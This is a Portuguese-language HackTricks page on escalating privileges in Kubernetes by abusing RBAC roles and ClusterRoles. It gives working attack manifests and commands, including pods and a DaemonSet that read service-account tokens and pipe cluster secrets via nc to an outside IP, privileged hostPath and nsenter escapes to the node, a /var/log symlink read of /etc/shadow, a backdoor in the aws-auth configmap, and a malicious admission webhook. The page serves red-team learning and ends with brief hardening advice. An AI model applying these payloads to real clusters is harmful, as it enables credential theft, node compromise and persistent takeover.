Abusing Roles/ClusterRoles in Kubernetes

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Aqui você pode encontrar algumas configurações de Funções e ClusterRoles potencialmente perigosas. Lembre-se de que você pode obter todos os recursos suportados com kubectl api-resources

Escalação de Privilégios

Referindo-se como a arte de obter acesso a um principal diferente dentro do cluster com privilégios diferentes (dentro do cluster Kubernetes ou para nuvens externas) do que os que você já possui, no Kubernetes existem basicamente 4 técnicas principais para escalar privilégios:

  • Ser capaz de fazer-se passar por outros usuários/grupos/SAs com melhores privilégios dentro do cluster Kubernetes ou para nuvens externas

  • Ser capaz de criar/alterar/executar pods onde você pode encontrar ou anexar SAs com melhores privilégios dentro do cluster Kubernetes ou para nuvens externas

  • Ser capaz de ler segredos pois os tokens dos SAs são armazenados como segredos

  • Ser capaz de escapar para o nó de um contêiner, onde você pode roubar todos os segredos dos contêineres em execução no nó, as credenciais do nó e as permissões do nó dentro da nuvem em que está sendo executado (se houver)

  • Uma quinta técnica que merece menção é a capacidade de executar port-forward em um pod, pois você pode ser capaz de acessar recursos interessantes dentro desse pod.

Acessar Qualquer Recurso ou Verbo (Coringa)

O coringa (*) dá permissão sobre qualquer recurso com qualquer verbo. É usado por administradores. Dentro de um ClusterRole, isso significa que um atacante poderia abusar de qualquer namespace no cluster

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]

Acessar Qualquer Recurso com um verbo específico

No RBAC, certas permissões representam riscos significativos:

  1. create: Concede a capacidade de criar qualquer recurso do cluster, arriscando escalonamento de privilégios.

  2. list: Permite listar todos os recursos, potencialmente vazando dados sensíveis.

  3. get: Permite acessar segredos de contas de serviço, representando uma ameaça à segurança.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: api-resource-verbs-all
rules:
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["create", "list", "get"]

Criar Pod - Roubar Token

Um atacante com permissões para criar um pod, poderia anexar uma Conta de Serviço privilegiada ao pod e roubar o token para se passar pela Conta de Serviço. Efetivamente escalando privilégios para ela.

Exemplo de um pod que irá roubar o token da conta de serviço bootstrap-signer e enviá-lo para o atacante:

apiVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true

Criação e Escape de Pods

O seguinte indica todos os privilégios que um contêiner pode ter:

  • Acesso privilegiado (desabilitando proteções e definindo capacidades)

  • Desativar os namespaces hostIPC e hostPid que podem ajudar a escalar privilégios

  • Desativar o namespace hostNetwork, dando acesso para roubar privilégios da nuvem dos nós e melhor acesso às redes

  • Montar o / do host dentro do contêiner

super_privs.yaml
apiVersion: v1
kind: Pod
metadata:
name: ubuntu
labels:
app: ubuntu
spec:
# Uncomment and specify a specific node you want to debug
# nodeName: <insert-node-name-here>
containers:
- image: ubuntu
command:
- "sleep"
- "3600" # adjust this as needed -- use only as long as you need
imagePullPolicy: IfNotPresent
name: ubuntu
securityContext:
allowPrivilegeEscalation: true
privileged: true
#capabilities:
#  add: ["NET_ADMIN", "SYS_ADMIN"] # add the capabilities you need https://man7.org/linux/man-pages/man7/capabilities.7.html
runAsUser: 0 # run as root (or any other user)
volumeMounts:
- mountPath: /host
name: host-volume
restartPolicy: Never # we want to be intentional about running this pod
hostIPC: true # Use the host's ipc namespace https://www.man7.org/linux/man-pages/man7/ipc_namespaces.7.html
hostNetwork: true # Use the host's network namespace https://www.man7.org/linux/man-pages/man7/network_namespaces.7.html
hostPID: true # Use the host's pid namespace https://man7.org/linux/man-pages/man7/pid_namespaces.7.htmlpe_
volumes:
- name: host-volume
hostPath:
path: /

Crie o pod com:

kubectl --token $token create -f mount_root.yaml

Uma linha de este tweet e com algumas adições:

kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Agora que você pode escapar para o nó, verifique as técnicas pós-exploração em:

Furtividade

Provavelmente você deseja ser mais furtivo, nas próximas páginas você pode ver o que seria capaz de acessar se criar um pod habilitando apenas alguns dos privilégios mencionados no modelo anterior:

  • Privileged + hostPID

  • Apenas privilegiado

  • hostPath

  • hostPID

  • hostNetwork

  • hostIPC

Você pode encontrar exemplos de como criar/abusar das configurações de pods privilegiados anteriores em https://github.com/BishopFox/badPods

Criar Pod - Mover para a nuvem

Se você pode criar um pod (e opcionalmente uma conta de serviço), talvez consiga obter privilégios no ambiente de nuvem ao atribuir funções de nuvem a um pod ou a uma conta de serviço e depois acessá-lo. Além disso, se você puder criar um pod com o namespace de rede do host, poderá roubar a função IAM da instância do .

Para mais informações, consulte:

pagePod Escape Privileges

Criar/Patch Deployment, Daemonsets, Statefulsets, Replicationcontrollers, Replicasets, Jobs e Cronjobs

É possível abusar dessas permissões para criar um novo pod e estabelecer privilégios como no exemplo anterior.

O yaml a seguir cria um daemonset e exfiltra o token do SA dentro do pod:

apiVersion: apps/v1
kind: DaemonSet
metadata:
name: alpine
namespace: kube-system
spec:
selector:
matchLabels:
name: alpine
template:
metadata:
labels:
name: alpine
spec:
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
volumeMounts:
- mountPath: /root
name: mount-node-root
volumes:
- name: mount-node-root
hostPath:
path: /

Execução de Pods

pods/exec é um recurso no Kubernetes usado para executar comandos em um shell dentro de um pod. Isso permite executar comandos dentro dos contêineres ou obter um shell interno.

Portanto, é possível entrar em um pod e roubar o token do SA, ou entrar em um pod privilegiado, escapar para o nó e roubar todos os tokens dos pods no nó e (abusar) do nó:

kubectl exec -it <POD_NAME> -n <NAMESPACE> -- sh

port-forward

Esta permissão permite encaminhar uma porta local para uma porta no pod especificado. Isso é destinado a facilitar a depuração de aplicativos em execução dentro de um pod, mas um atacante pode abusar disso para obter acesso a aplicativos interessantes (como bancos de dados) ou vulneráveis (sites?) dentro de um pod:

kubectl port-forward pod/mypod 5000:5000

Escape de /var/log/ com Permissão de Escrita nos Hosts

Conforme indicado nesta pesquisa, se você puder acessar ou criar um pod com o diretório /var/log/ dos hosts montado nele, você pode escapar do contêiner. Isso ocorre basicamente porque quando o Kube-API tenta obter os logs de um contêiner (usando kubectl logs <pod>), ele solicita o arquivo 0.log do pod usando o endpoint /logs/ do serviço Kubelet. O serviço Kubelet expõe o endpoint /logs/ que basicamente está expondo o sistema de arquivos /var/log do contêiner.

Portanto, um atacante com acesso para escrever na pasta /var/log/ do contêiner poderia abusar desses comportamentos de 2 maneiras:

  • Modificando o arquivo 0.log de seu contêiner (geralmente localizado em /var/logs/pods/namespace_pod_uid/container/0.log) para ser um link simbólico apontando para /etc/shadow, por exemplo. Em seguida, você poderá exfiltrar o arquivo shadow dos hosts fazendo:

kubectl logs escaper
failed to get parse function: unsupported log format: "root::::::::\n"
kubectl logs escaper --tail=2
failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n"
# Keep incrementing tail to exfiltrate the whole file
  • Se o atacante controlar qualquer principal com as permissões para ler nodes/log, ele pode simplesmente criar um symlink em /host-mounted/var/log/sym para / e quando acessar https://<gateway>:10250/logs/sym/ ele listará o sistema de arquivos raiz dos hosts (alterar o symlink pode fornecer acesso a arquivos).

curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/'
<a href="bin">bin</a>
<a href="data/">data/</a>
<a href="dev/">dev/</a>
<a href="etc/">etc/</a>
<a href="home/">home/</a>
<a href="init">init</a>
<a href="lib">lib</a>
[...]

Um laboratório e um exploit automatizado podem ser encontrados em https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts

Bypassing proteção readOnly

Se você tiver sorte e a capacidade altamente privilegiada CAP_SYS_ADMIN estiver disponível, você pode simplesmente remontar a pasta como rw:

mount -o rw,remount /hostlogs/

Bypassing hostPath readOnly protection

Conforme declarado nesta pesquisa, é possível contornar a proteção:

allowedHostPaths:
- pathPrefix: "/foo"
readOnly: true

O que foi feito para evitar escapes como os anteriores foi, em vez de usar uma montagem hostPath, usar um PersistentVolume e um PersistentVolumeClaim para montar uma pasta do host no contêiner com acesso de gravação:

apiVersion: v1
kind: PersistentVolume
metadata:
name: task-pv-volume-vol
labels:
type: local
spec:
storageClassName: manual
capacity:
storage: 10Gi
accessModes:
- ReadWriteOnce
hostPath:
path: "/var/log"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
name: task-pv-claim-vol
spec:
storageClassName: manual
accessModes:
- ReadWriteOnce
resources:
requests:
storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
name: task-pv-pod
spec:
volumes:
- name: task-pv-storage-vol
persistentVolumeClaim:
claimName: task-pv-claim-vol
containers:
- name: task-pv-container
image: ubuntu:latest
command: [ "sh", "-c", "sleep 1h" ]
volumeMounts:
- mountPath: "/hostlogs"
name: task-pv-storage-vol

Impersonando contas privilegiadas

Com um privilégio de impersonação de usuário, um atacante poderia se passar por uma conta privilegiada.

Basta usar o parâmetro --as=<username> no comando kubectl para se passar por um usuário, ou --as-group=<group> para se passar por um grupo:

kubectl get pods --as=system:serviceaccount:kube-system:default
kubectl get secrets --as=null --as-group=system:masters

Ou utilize a REST API:

curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Listagem de Segredos

A permissão para listar segredos poderia permitir que um atacante realmente leia os segredos acessando o endpoint da API REST:

curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/

Lendo um segredo - forçando IDs de token

Enquanto um atacante em posse de um token com permissões de leitura requer o nome exato do segredo para usá-lo, ao contrário do privilégio mais amplo de listar segredos, ainda existem vulnerabilidades. As contas de serviço padrão no sistema podem ser enumeradas, cada uma associada a um segredo. Esses segredos têm uma estrutura de nome: um prefixo estático seguido de um token alfanumérico aleatório de cinco caracteres (excluindo certos caracteres) de acordo com o código-fonte.

O token é gerado a partir de um conjunto limitado de 27 caracteres (bcdfghjklmnpqrstvwxz2456789), em vez do intervalo alfanumérico completo. Essa limitação reduz o total de combinações possíveis para 14.348.907 (27^5). Consequentemente, um atacante poderia executar um ataque de força bruta para deduzir o token em questão de horas, potencialmente levando a uma escalada de privilégios ao acessar contas de serviço sensíveis.

Solicitações de Assinatura de Certificado

Se você tiver os verbos create no recurso certificatesigningrequests (ou pelo menos em certificatesigningrequests/nodeClient). Você pode criar um novo CeSR de um novo nó.

De acordo com a documentação, é possível aprovar automaticamente essas solicitações, então, nesse caso, você não precisa de permissões extras. Caso contrário, você precisaria ser capaz de aprovar a solicitação, o que significa atualizar em certificatesigningrequests/approval e approve em signers com o nome do recurso <signerNameDomain>/<signerNamePath> ou <signerNameDomain>/*

Um exemplo de uma função com todas as permissões necessárias é:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: csr-approver
rules:
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests
verbs:
- get
- list
- watch
- create
- apiGroups:
- certificates.k8s.io
resources:
- certificatesigningrequests/approval
verbs:
- update
- apiGroups:
- certificates.k8s.io
resources:
- signers
resourceNames:
- example.com/my-signer-name # example.com/* can be used to authorize for all signers in the 'example.com' domain
verbs:
- approve

Portanto, com a aprovação do CSR do novo nó, você pode abusar das permissões especiais dos nós para roubar segredos e escalar privilégios.

Nos este post e este outro, a configuração de inicialização do TLS do GKE K8s é configurada com assinatura automática e é abusada para gerar credenciais de um novo Nó K8s e então abusar deles para escalar privilégios roubando segredos. Se você tiver os privilégios mencionados, você poderia fazer a mesma coisa. Note que o primeiro exemplo contorna o erro que impede um novo nó de acessar segredos dentro de contêineres porque um nó só pode acessar os segredos dos contêineres montados nele.

A maneira de contornar isso é apenas criar credenciais de nó para o nome do nó onde o contêiner com os segredos interessantes está montado (mas apenas verifique como fazer isso no primeiro post):

"/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1"

Configmaps aws-auth do AWS EKS

Principais que podem modificar configmaps no namespace kube-system em clusters EKS (precisam estar na AWS) podem obter privilégios de administrador do cluster sobrescrevendo o configmap aws-auth. Os verbos necessários são update e patch, ou create se o configmap não foi criado:

# Check if config map exists
get configmap aws-auth -n kube-system -o yaml

## Yaml example
apiVersion: v1
kind: ConfigMap
metadata:
name: aws-auth
namespace: kube-system
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters

# Create donfig map is doesn't exist
## Using kubectl and the previous yaml
kubectl apply -f /tmp/aws-auth.yaml
## Using eksctl
eksctl create iamidentitymapping --cluster Testing --region us-east-1 --arn arn:aws:iam::123456789098:role/SomeRoleTestName --group "system:masters" --no-duplicate-arns

# Modify it
kubectl edit -n kube-system configmap/aws-auth
## You can modify it to even give access to users from other accounts
data:
mapRoles: |
- rolearn: arn:aws:iam::123456789098:role/SomeRoleTestName
username: system:node:{{EC2PrivateDNSName}}
groups:
- system:masters
mapUsers: |
- userarn: arn:aws:iam::098765432123:user/SomeUserTestName
username: admin
groups:
- system:masters

Você pode usar aws-auth para persistência dando acesso a usuários de outras contas.

No entanto, aws --profile other_account eks update-kubeconfig --name <cluster-name> não funciona de uma conta diferente. Mas na verdade aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing funciona se você colocar o ARN do cluster em vez de apenas o nome. Para fazer o kubectl funcionar, certifique-se de configurar o kubeconfig da vítima e nos argumentos de execução da aws adicione --profile other_account_role para que o kubectl use o perfil da outra conta para obter o token e entrar em contato com a AWS.

Escalando no GKE

Existem 2 maneiras de atribuir permissões K8s a princípios do GCP. Em qualquer caso, o princípio também precisa da permissão container.clusters.get para poder obter credenciais para acessar o cluster, ou você precisará gerar seu próprio arquivo de configuração do kubectl (siga o próximo link).

Ao falar com o endpoint da API do K8s, o token de autenticação do GCP será enviado. Em seguida, o GCP, por meio do endpoint da API do K8s, primeiro verificará se o princípio (por e-mail) tem algum acesso dentro do cluster, e então verificará se ele tem qualquer acesso via GCP IAM. Se qualquer um desses for verdadeiro, ele será respondido. Se não, um erro sugerindo dar permissões via GCP IAM será dado.

Então, o primeiro método é usando GCP IAM, as permissões do K8s têm suas equivalentes permissões do GCP IAM, e se o princípio tiver, ele poderá usá-las.

pageGCP - Container Privesc

O segundo método é atribuir permissões K8s dentro do cluster identificando o usuário pelo seu e-mail (incluídas as contas de serviço do GCP).

Criar token de serviceaccounts

Princípios que podem criar TokenRequests (serviceaccounts/token) Ao falar com o endpoint da API do K8s SAs (informações de aqui).

ephemeralcontainers

Princípios que podem atualizar ou patch pods/ephemeralcontainers podem obter execução de código em outros pods, e potencialmente escapar para seu nó adicionando um contêiner efêmero com um securityContext privilegiado.

ValidatingWebhookConfigurations ou MutatingWebhookConfigurations

Princípios com qualquer um dos verbos create, update ou patch sobre validatingwebhookconfigurations ou mutatingwebhookconfigurations podem ser capazes de criar uma dessas webhookconfigurations para poder escalar privilégios.

Para um exemplo de mutatingwebhookconfigurations confira esta seção deste post.

Escalar

Como você pode ler na próxima seção: Prevenção de Escalação de Privilégios Incorporada, um princípio não pode atualizar nem criar funções ou clusterroles sem ter essas novas permissões. Exceto se ele tiver o verbo escalate sobre roles ou clusterroles. Então ele pode atualizar/criar novas funções, clusterroles com melhores permissões do que as que ele tem.

Proxy de nós

Princípios com acesso ao sub-recurso nodes/proxy podem executar código em pods via a API do Kubelet (de acordo com isto). Mais informações sobre autenticação do Kubelet nesta página:

pageKubelet Authentication & Authorization

Você tem um exemplo de como obter RCE falando autorizado a uma API do Kubelet aqui.

Excluir pods + nós não escalonáveis

Princípios que podem excluir pods (verbo delete sobre o recurso pods), ou expulsar pods (verbo create sobre o recurso pods/eviction), ou alterar o status do pod (acesso a pods/status) e podem tornar outros nós não escalonáveis (acesso a nodes/status) ou excluir nós (verbo delete sobre o recurso nodes) e têm controle sobre um pod, poderiam roubar pods de outros nós para que sejam executados no nó comprometido e o atacante possa roubar os tokens desses pods.

patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
}

while true; do patch_node_capacity <id_other_node>; done &
#Launch previous line with all the nodes you need to attack

kubectl delete pods -n kube-system <privileged_pod_name>

Status dos Serviços (CVE-2020-8554)

Principais que podem modificar services/status podem definir o campo status.loadBalancer.ingress.ip para explorar a CVE-2020-8554 não corrigida e lançar ataques de MiTM contra o cluster. A maioria das mitigações para a CVE-2020-8554 apenas previnem serviços ExternalIP (de acordo com este).

Status dos Nós e Pods

Principais com permissões de update ou patch sobre nodes/status ou pods/status, poderiam modificar rótulos para afetar as restrições de agendamento impostas.

Prevenção de Escalação de Privilégios Incorporada

O Kubernetes possui um mecanismo incorporado para prevenir a escalação de privilégios.

Esse sistema garante que os usuários não podem elevar seus privilégios modificando funções ou associações de funções. A aplicação dessa regra ocorre no nível da API, fornecendo uma proteção mesmo quando o autorizador RBAC está inativo.

A regra estipula que um usuário só pode criar ou atualizar uma função se possuir todas as permissões que a função compreende. Além disso, o escopo das permissões existentes do usuário deve estar alinhado com o da função que ele está tentando criar ou modificar: seja em todo o cluster para ClusterRoles ou restrito ao mesmo namespace (ou em todo o cluster) para Roles.

Existe uma exceção à regra anterior. Se um principal tem o verbo escalate sobre roles ou clusterroles ele pode aumentar os privilégios de funções e clusterroles mesmo sem possuir as permissões ele mesmo.

Obter e Modificar RoleBindings/ClusterRoleBindings

Aparentemente essa técnica funcionava antes, mas de acordo com meus testes, não está mais funcionando pelo mesmo motivo explicado na seção anterior. Você não pode criar/modificar um rolebinding para conceder a si mesmo ou a um SA diferente alguns privilégios se você ainda não os tiver.

O privilégio de criar Rolebindings permite a um usuário associar funções a uma conta de serviço. Esse privilégio pode potencialmente levar a uma escalação de privilégios porque permite ao usuário associar privilégios de administrador a uma conta de serviço comprometida.

Outros Ataques

Aplicativo de Proxy Sidecar

Por padrão, não há nenhuma criptografia na comunicação entre pods. Autenticação mútua, de duas vias, pod a pod.

Criar um aplicativo de proxy sidecar

Crie seu .yaml

kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'

Edite seu arquivo .yaml e adicione as linhas descomentadas:

#apiVersion: v1
#kind: Pod
#metadata:
#  name: security-context-demo
#spec:
#  securityContext:
#    runAsUser: 1000
#    runAsGroup: 3000
#    fsGroup: 2000
#  volumes:
#  - name: sec-ctx-vol
#    emptyDir: {}
#  containers:
#  - name: sec-ctx-demo
#    image: busybox
command: [ "sh", "-c", "apt update && apt install iptables -y && iptables -L && sleep 1h" ]
securityContext:
capabilities:
add: ["NET_ADMIN"]
#   volumeMounts:
#   - name: sec-ctx-vol
#     mountPath: /data/demo
#   securityContext:
#     allowPrivilegeEscalation: true

Veja os logs do proxy:

kubectl logs app -C proxy

Mais informações em: https://kubernetes.io/docs/tasks/configure-pod-container/security-context/

Controlador de Admissão Malicioso

Um controlador de admissão intercepta solicitações ao servidor da API do Kubernetes antes da persistência do objeto, mas após a solicitação ser autenticada e autorizada.

Se um atacante de alguma forma conseguir injetar um Controlador de Admissão de Mutação, ele será capaz de modificar solicitações já autenticadas. Sendo capaz de potencialmente elevar privilégios e, mais comumente, persistir no cluster.

Exemplo de https://blog.rewanthtammana.com/creating-malicious-admission-controllers:

git clone https://github.com/rewanthtammana/malicious-admission-controller-webhook-demo
cd malicious-admission-controller-webhook-demo
./deploy.sh
kubectl get po -n webhook-demo -w

Verifique o status para ver se está pronto:

kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo

Em seguida, implante um novo pod:

kubectl run nginx --image nginx
kubectl get po -w

Quando você vir o erro ErrImagePull, verifique o nome da imagem com qualquer uma das consultas:

kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "

Como pode ver na imagem acima, tentamos executar a imagem nginx, mas a imagem executada final foi rewanthtammana/malicious-image. O que acabou de acontecer!!?

Aspectos Técnicos

O script ./deploy.sh estabelece um controlador de admissão de webhook de mutação, que modifica solicitações para a API do Kubernetes conforme especificado em suas linhas de configuração, influenciando os resultados observados:

patches = append(patches, patchOperation{
Op:    "replace",
Path:  "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})

O trecho acima substitui a primeira imagem do container em todos os pods por rewanthtammana/malicious-image.

Melhores Práticas

Desativar a Montagem Automática de Tokens de Conta de Serviço

  • Pods e Contas de Serviço: Por padrão, os pods montam um token de conta de serviço. Para aumentar a segurança, o Kubernetes permite desativar esse recurso de montagem automática.

  • Como Aplicar: Defina automountServiceAccountToken: false na configuração de contas de serviço ou pods a partir da versão 1.6 do Kubernetes.

Atribuição Restritiva de Usuário em RoleBindings/ClusterRoleBindings

  • Inclusão Seletiva: Garanta que apenas os usuários necessários sejam incluídos em RoleBindings ou ClusterRoleBindings. Audite regularmente e remova usuários irrelevantes para manter a segurança rigorosa.

Funções Específicas do Namespace em Vez de Funções em Toda a Cluster

  • Funções vs. ClusterRoles: Prefira usar Funções e RoleBindings para permissões específicas do namespace em vez de ClusterRoles e ClusterRoleBindings, que se aplicam a todo o cluster. Esse enfoque oferece um controle mais preciso e limita o escopo das permissões.

Utilize ferramentas automatizadas

Referências

Aprenda hacking AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Última actualización